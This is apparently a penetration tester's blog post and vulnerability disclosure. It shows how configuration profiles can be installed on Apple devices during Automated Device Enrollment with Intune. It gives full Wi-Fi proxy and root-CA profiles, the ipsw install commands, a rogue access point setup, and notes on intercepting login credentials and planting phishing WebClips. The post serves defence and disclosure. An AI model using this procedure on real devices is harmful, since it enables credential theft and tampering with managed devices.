Apple Automated Device Enrollment (ADE) is presented as a way to automate and simplify the enrollment process of Apple devices within Mobile Device Management (MDE) solutions. This blog post is aimed at organizations currently planning or even already using this feature and making you, the reader, aware of potential limitations of this process that might otherwise not be clearly addressed in your companies’ device management process.
How Apple ADE Is Presented
Looking at the Apple Support pages today, Automated Device Enrollment is described as a process that
[…] lets you automate Mobile Device Management (MDM) enrollment and simplify initial device setup. You can supervise devices during activation without touching them and lock MDM enrollment for ongoing management.
So assuming you are a big organization with a device fleet of several hundred Apple devices, your key takeaways might be:
- Simplify initial device setup
- Know what’s happening on your devices during activation
- You don’t have to be physically present during activation
- MDM is locked in from the start and cannot be tampered with
Now these would be my innocent takeaways from reading this paragraph, so if you see it the same way, we both would be wrong in three of these points as we are about to find out later.
How this Blog Post Came to Be
A customer requested a penetration test of some sample devices which were representative for their planned mobile device fleets The devices were recent models with iOS version 17.3.1 on all devices. They were registered for Apple ADE and would enroll via Microsoft Intune. The goal was to see how well the two usage profiles were hardened against manipulation and abuse. Some devices would be placed in stores and shared between multiple employees to allow them access to certain company resources but should not be usable for e.g. entertainment purposes and as such were locked down the most. The employee devices on the other hand would be personalized with access to corporate resources but would also allow personal usage in private context and therefore would offer more attack surface. We didn’t have direct access to the Intune dashboard but had some contact on the customer side who would provide us with feedback on the status of the devices and would be able to modify the policy, if necessary.
So my colleague Jan and I were tasked to look into these devices and see if we could somehow break out of the restrictions, install something malicious or generally find any loopholes in the configuration. Now we invested about two days to check for the “usual” issues but to be fair, once the devices were enrolled and fully setup with their respective MDM profile, they were pretty much locked down to their usage scenarios which was good for our customer but felt bad for us on a motivational level. So we started to look into the activation enrollment process…
While Jan started to look into the process from a network perspective which you can read more about in his blog post Disclosure: Apple ADE – Network Based Provisioning Bypass. I started looking into the documentation of the configuration profiles which are the files being pushed onto the devices during MDM enrollment.
Where Things Break
Now, while looking through the documentation of the configuration profiles1, there were several items on the list that would be useful if we would be able to install them on the devices. Among them CertificateRoot (The payload you use to configure a root certificate.) or WiFi (The payload you use to configure Wi-Fi settings.). These two alone would already great to get us in a Machine-in-the-Middle (MitM) position where we can install a custom Root Certificate and specify a WiFi access point and (MitM) proxy. And there were many more that would impact various settings of the devices, including the MDM.
So the most obvious thing to do, is what we already checked via our usual bucket list of things to test: see if you can push profiles onto the device once it is fully enrolled. Now that was, as should be with a hardened profile, blocked by the MDM policy.
But what actually happens if you try to push these configurations before or during the activation process or when enrollment kicks off? Let’s see.
The Setup
From the start, we have a freshly resetted device and connect to it via USB/Lightning connector with the PC. Usually, if you want to manually send configuration profiles to an Apple device the “official” way, you would use a Mac and the Apple Configurator, but I’m on a Linux system and that will unfortunately not work. So my current go-to tool for such tasks is ipsw also called the iOS/macOS Research Swiss Army Knife (shoutout to blacktop and the many contributors for developing and maintaining this awesome tool) which implements the necessary protocols to talk with the device the same way Apple Configurator would.
The tool has a lot of utility in different areas but for our purpose, we’ll only need two of its commands:
To install a profile
# Install a profile
ipsw idev prof install <configuration-profile>.plistand to check installed profiles
# Check installed profiles
ipsw idev prof lsAs can be seen from the first command we of course also need a profile to install. These profiles are usually provided as .plist files which can generally be either xml or a binary format. While you could easily convert between the two versions with tools like plistutil, the PLIST files we want to install are expected to be xml, so we can simply write them in an editor of our choice. The following two profiles are ones I created during the test and basically set us up for a MitM position, once successfully installed:
The WiFi profile defining our access point and MitM proxy.
wifi-profile.plist
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>PayloadContent</key>
<array>
<dict>
<key>AutoJoin</key>
<true/>
<key>CaptiveBypass</key>
<false/>
<key>EncryptionType</key>
<string>WPA2</string>
<key>HIDDEN_NETWORK</key>
<false/>
<key>IsHotspot</key>
<false/>
<key>Password</key>
<string>[...password removed...]</string>
<key>PayloadDescription</key>
<string>Configures Wi-Fi settings</string>
<key>PayloadDisplayName</key>
<string>ERNW Pentesting Access Point</string>
<key>PayloadIdentifier</key>
<string>net.ernw.accesspointdata</string>
<key>PayloadType</key>
<string>com.apple.wifi.managed</string>
<key>PayloadUUID</key>
<string>f1adaed5-d60e-4fd9-8bff-dd0fe9505396</string>
<key>PayloadVersion</key>
<integer>1</integer>
<key>ProxyType</key>
<string>Manual</string>
<key>ProxyServer</key>
<string>192.168.12.1</string>
<key>ProxyServerPort</key>
<integer>8085</integer>
<key>SSID_STR</key>
<string>pt-ap</string>
</dict>
</array>
<key>PayloadDisplayName</key>
<string>ERNW Pentesting Access Point</string>
<key>PayloadIdentifier</key>
<string>net.ernw.accesspoint</string>
<key>PayloadRemovalDisallowed</key>
<false/>
<key>PayloadType</key>
<string>Configuration</string>
<key>PayloadUUID</key>
<string>6c59085a-b15d-4fd3-a596-f7a800a1d9de</string>
<key>PayloadVersion</key>
<integer>1</integer>
</dict>
</plist>The RootCA profile to look into TLS-encrypted communication e.g. via burpsuite2
burpca-profile.plist
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>PayloadContent</key>
<array>
<dict>
<key>PayloadCertificateFileName</key>
<string>ernw_burp_ca</string>
<key>PayloadContent</key>
<data>
MIIF6TCCA9GgAwIBAgIULbanMyDsa4JWO1OsXaPw6Zkt/OgwDQYJ
[...stripped certificate data for readability...]
sajiiEpJwptg+6RpNxFVocBHX9VMecoZHVenYvCn4ShhE7M=
</data>
<key>PayloadDescription</key>
<string>Add Burp Root CA</string>
<key>PayloadDisplayName</key>
<string>Adds the Burp Root CA to an Apple Device</string>
<key>PayloadIdentifier</key>
<string>net.ernw.burpcadata</string>
<key>PayloadType</key>
<string>com.apple.security.root</string>
<key>PayloadUUID</key>
<string>6a20a2f5-97e5-4fd5-ac76-0d7708778e68</string>
<key>PayloadVersion</key>
<integer>1</integer>
</dict>
</array>
<key>PayloadDisplayName</key>
<string>ERNW Burp Root CA</string>
<key>PayloadIdentifier</key>
<string>net.ernw.burpca</string>
<key>PayloadType</key>
<string>Configuration</string>
<key>PayloadUUID</key>
<string>6594337c-742b-4841-bbed-76d79cdef34e</string>
<key>PayloadVersion</key>
<integer>1</integer>
</dict>
</plist>Now that we have the profiles which point to some access point, we should set that one up as well:
pt-ap setup
# create_ap -c <channel> -w <WPA version> <wifi interface> <internet serving interface> <ap name> <password>
sudo create_ap -c 11 -w 2 wlp3s0 enp0s20u2 pt-ap [...password removed...]With that, we have all the prerequisites out of the way. Now can we actually install the profiles…?
The Testing
With the Apple device connected and freshly reset and started, we can continuously try to send the profiles to the device at various stages.
From Device Start to ‘Device Activation’:
ipsw idev prof install <configuration-profile>.plist
⨯ failed to create usbmux client for service com.apple.mobile.MCInstall on port 0: failed to dial device 1 on port 0: connection refusedAs we can see from the above output, the ipsw tool tries to communicate with the iOS MobileConfig service com.apple.mobile.MCInstall which is not allowed. So we continue with the presented dialog.
From ‘Retrieving Configuration’ to ‘Transfer Apps & Data’:
ipsw idev prof install <configuration-profile>.plist
• Installing profile to device...Now apparently, communication with the MobileConfig service is still locked during device activation stage but when the setup starts to retrieve the configuration from the cloud, MobileConfig also becomes available locally and actually allows us to install our profiles.
We can verify this via the other command:
ipsw idev prof ls
[ net.ernw.accesspoint ]
Manifest:
Description: ERNW Pentesting Access Point
Active: true
Metadata:
UUID: 6c59085a-b15d-4fd3-a596-f7a800a1d9de
Version: 1
Name: ERNW Pentesting Access Point
Description:
Organization:
RemovalDisallowed: false
[ net.ernw.burpca ]
Manifest:
Description: ERNW Burp Root CA
Active: true
Metadata:
UUID: 6594337c-742b-4841-bbed-76d79cdef34e
Version: 1
Name: ERNW Burp Root CA
Description:
Organization:
RemovalDisallowed: falseThis looks promising. Let’s see what we can see via our MitM proxy.
The following screenshot shows some intercepted requests during the device setup process via our proxy listening on 192.168.12.1:8085 (as defined in wifi-profile.plist):
To stress the potential criticality during the setup process, while the above mostly doesn’t look that sensitive, the user has to authenticate during the setup process and the request to https://login.microsoftonline.com/common/login which happens during the enrollment contains the username and password and was easily interceptable at this stage.
Unfortunately though, from an attackers point of view, some involved systems (on both, Apple’s and Microsoft’s side) appeared to be identifying the MitM setup. This resulted in several broken enrollment attempts that required a full device reset (reflashing via recovery mode) to resolve.
In later attempts, after figuring out which requests to pass through without interception the enrollment process would finish successfully. The enrolled system now contained the installed certificate, as well as the pre-defined Wi-Fi in the MDM profile which had the side effect, that the MitM certificate was, surprisingly, now also trusted by the system.
If you ever tried to manually install a custom certificate on your Apple device, you might be aware that it’s not as simple. You do not only have to load and accept the certificate via multiple prompts but also have to toggle an additional switch in the device settings to make the installed certificate trusted by the system. Not so in this case. Bonus points for this feature…
While this is all great and might allow for some targeted attack scenarios to catch someone’s credentials, the question is, does the MDM solution detect this? So we reached out to contact on the customer side, providing information about the device and installed profiles but not only were the profiles installed successfully on a managed device, but the configuration deviation of these devices was also invisible to the MDM solution which considered the device as compliant with its policy, allowing for careful communication interception of unsecured (in terms of certificate pinning) communication.
As the MitM setup apparently worked without detection, we were able to access different apps which slowly appeared on the device after the enrollment. This, depending on the app, allowed the interception of additional credentials and access tokens but did not work without issues in some cases (this is why certificate pinning is important).
Expanding the Tests
I already mentioned under Where Things Break that aside from RootCA and Wi-Fi, that there are additional profile types we might be able to mess around with. So let’s reset the device and look into that.
As described in the usage scenario of our customer, employees using the store iPads are not supposed to access other services aside from the ones defined by the MDM profile. But there is a profile type that allows to define so-called WebClips.
WebClips are basically shortcuts to URLs/web apps which will have an app icon and name and are basically not distinguishable from regular apps on your home screen.
An attacker could abuse this functionality for phishing/social engineering attacks by installing lookalike services which prompt a user to enter their credentials or other valuable information.
Depending on the configuration of the WebClip, it is not directly possible for a user to identify the URL they are accessing, as it can be hidden.
To verify the origin, they would have to check the profile details in the iPad settings and also know whether the displayed URL is actually legitimate.
Among the available profile types we continued to identify and install potentially interesting ones, e.g. for passcode security, general device restrictions and home screen customization.
Adding a restrictions profiles allowed the modification of accessible apps on the home screen of the Apple device.
Among other things, it could allow attackers to change the definitions for blocked and allowed apps which could be used to remove or block certain company apps from the home screen. In conjunction with WebClips this behavior could potentially be abused to remove a legitimate app from the screen and replace it with a malicious WebClip app.
This profile also allowed to modify certain security features by simply disabling them, or setting them to the most insecure maximum value.
Finally, it was possible to install a passcode profile which allowed to specify settings which would weaken the overall security of the device.
It should be noted at this point that certain device configuration profiles required the device to be at a later step of the activation/enrollment process:
Installing Home screen Profile before Step ‘Remote Management’:
ipsw idev prof install custom-homescreen.plist
• Installing profile to device...
⨯ failed to install profile custom-homescreen.plist: failed to get cloud config: []struct { ErrorCode int "plist:\"ErrorCode,omitempty\" json:\"error_code,omitempty\""; ErrorDomain string "plist:\"ErrorDomain,omitempty\" json:\"error_domain,omitempty\""; LocalizedDescription string "plist:\"LocalizedDescription,omitempty\" json:\"localized_description,omitempty\""; USEnglishDescription string "plist:\"USEnglishDescription,omitempty\" json:\"us_english_description,omitempty\"" }{struct [...]{ErrorCode:29000, ErrorDomain:"MCSupervisedErrorDomain", LocalizedDescription:"Dieses Profil kann nur auf einem betreuten Gerät installiert werden.", USEnglishDescription:$%"This profile can only be installed on a Supervised device."%$}}Installing Home screen Profile during Step ‘Remote Management’:
ipsw idev prof install custom-homescreen.plist
• Installing profile to device...At the same time, other profile types were now not allowed to be modified anymore as they were already considered to be part of the managed configuration:
Reinstalling Wi-Fi or Root Certificate Profile during ‘Remote Management’:
ipsw idev prof install burpca-profile.plist
• Installing profile to device...
⨯ failed to install profile burpca-profile.plist: failed to get cloud config: []struct { ErrorCode int "plist:\"ErrorCode,omitempty\" json:\"error_code,omitempty\""; ErrorDomain string "plist:\"ErrorDomain,omitempty\" json:\"error_domain,omitempty\""; LocalizedDescription string "plist:\"LocalizedDescription,omitempty\" json:\"localized_description,omitempty\""; USEnglishDescription string "plist:\"USEnglishDescription,omitempty\" json:\"us_english_description,omitempty\"" }{struct [...]{ErrorCode:12013, ErrorDomain:"MCMDMErrorDomain", LocalizedDescription:"Das Profil "ERNW Burp Root CA" wird von Mobile Device Management verwaltet.", USEnglishDescription:$%"The profile "ERNW Burp Root CA" is managed by MDM."%$}}While we were able to cover some available profile types, there are still more we did not manage to test due to time constraints. It is also possible that Apple will add more types in the future or change the behavior of existing ones which could make them potential more or less sensitive, depending on their changes.
Limitations
Even though it was possible to install these profiles, it was noticed that not all specified settings were actually applied to the devices. It is likely that any setting defined by the actual MDM profile is prioritized over the settings in the manually installed configuration profiles.
Several of the installed configuration profiles were marked as unsigned in the device settings. This did not appear to have any implications on the compliance status of the device, though in case it would make a difference, it should be possible to either install another self-signed certificate, similar to the already installed root certificate and use it to sign these profiles, making them look less suspicious, or use a legitimate signing certificate which was issued by a known CA to do the same. While this is expected to work, it was not explicitly tested.
Abuse Scenarios
One could argue now that exploiting these options in a practical scenario is not very feasible, but I want to point out some of the ideas we thought about while investigating this issue.
Supply Chain Attack
As these devices might in some cases get sent around via postal or other delivery services, the devices could get intercepted. The attacker would start the activation process, install the profiles they want and shut the device down again. From what we have seen after turning the device on again, the device went through the regular steps again but the already installed profiles were still present. So if these devices are received by an unsuspecting and potentially non-technical person, it is highly unlikely that they will notice that the device was tampered with and continue to enroll the device while an attacker could be in the position to intercept the communication or might have installed malicious WebClips or otherwise tampered with the device.
Evil Employee
A technically versed employee with bad intentions might try different means to reset the device or could try to physically get the device into a state where a re-enrollment is necessary. Depending on the company-internal process, if a re-enrollment can be issued remotely, the employee could now install modified profiles on the device to try to disable or circumvent some of the restrictions that would usually apply.
The Conclusion
Going full circle, if we think about those 4 bullet points from the beginning that summarized the important aspects of ADE according to Apple:
- Simplify initial device setup
- Know what’s happening on your devices during activation
- You don’t have to be physically present during activation
- MDM is locked in from the start and cannot be tampered with
I personally do not know how much I can really agree with these points. I mean, it might simplify some initial setup. But given the feedback we got from our contact at the customer who could not identify the modifications of the devices even though they were clearly tampered with, this whole concept only works, if you run the enrollment in a trusted environment by trusted personnel.
So to ensure a secure enrollment, the devices – Have to get fully wiped before starting the process – Should not be sent around before the enrollment – Should not get enrolled by the end user – Have to be brought back to IT for re-enrollment
This, in my opinion, does not match what Apples description suggests and if your device management process does not factor in these limitations, you might want to revise the process.
Apples Position on the Matter
At ERNW we follow Responsible Disclosure practices and contact the responsible vendor (of course we first ask for the permission by the respective customer, which we got in this case). In this case, we consider the origin of the issue to be with Apple, as the responsible service on the device, which allows the interaction of locally installing the profiles during cloud enrollment is the iOS MobileConfig service com.apple.mobile.MCInstall.
According to Apple, this behavior is not treated as a security issue but will be considered as a potential enhancement for future updates, to which they provided the following reasons:
- The protocol does support preventing host pairing in Setup Assistant while the devices are being configured. Additionally, MDM’s and administrators have a visible indicator in their console to see if additional profiles are installed.
- If a device is partially setup, the UI will indicate this state and offer the user the ability to erase the device and start over.
From our discussions with the customer and our contact managing the MDM, as well as our own assessment, we do think that the provided reasons might be wrong or not applicable as e.g.:
- Host pairing appeared to be disabled according to the MDM configuration which was also noticeable while trying to install profiles during various points of the activation and enrollment process.
- We explicitly contacted the MDM administrator during the assessment to verify whether they would be able to identify any deviations in terms of active profiles, which they denied.
- We could not see any indication while working with the test devices that they were only partially setup.
Disclosure Timeline
- April 02, 2024: ERNW provides vulnerability information to Apple, starting the 90-day disclosure period.
- April 02, 2024: Initial response from Apple confirming that they received the report and that the matter is investigated.
- April 03, 2024: Response from Apple stating that MDM profiles provide configuration management but do not establish additional security boundaries beyond what iOS and iPadOS have to offer. Product security analyst passes report to appropriate team for investigation.
- April 17, 2024: ERNW request an update on the issue.
- April 19, 2024: Apple states that they are not tracking this as a security issue and closes the case.
- April 24, 2024: ERNW disagrees and would like Apple to explain its reasoning.
- September, 03 2024: Disclosure of the vulnerability information by ERNW.
As communicated with Apple, we hereby publish our findings as full disclosure, as it is not considered a security issue.
We want to thank our customer for allowing us disclosing the vulnerability information to Apple and subsequently publishing the information in this blog post. We appreciate their efforts on improving the software and contributing to sharing vulnerability information with the community while staying anonymous.
Cheers! Flo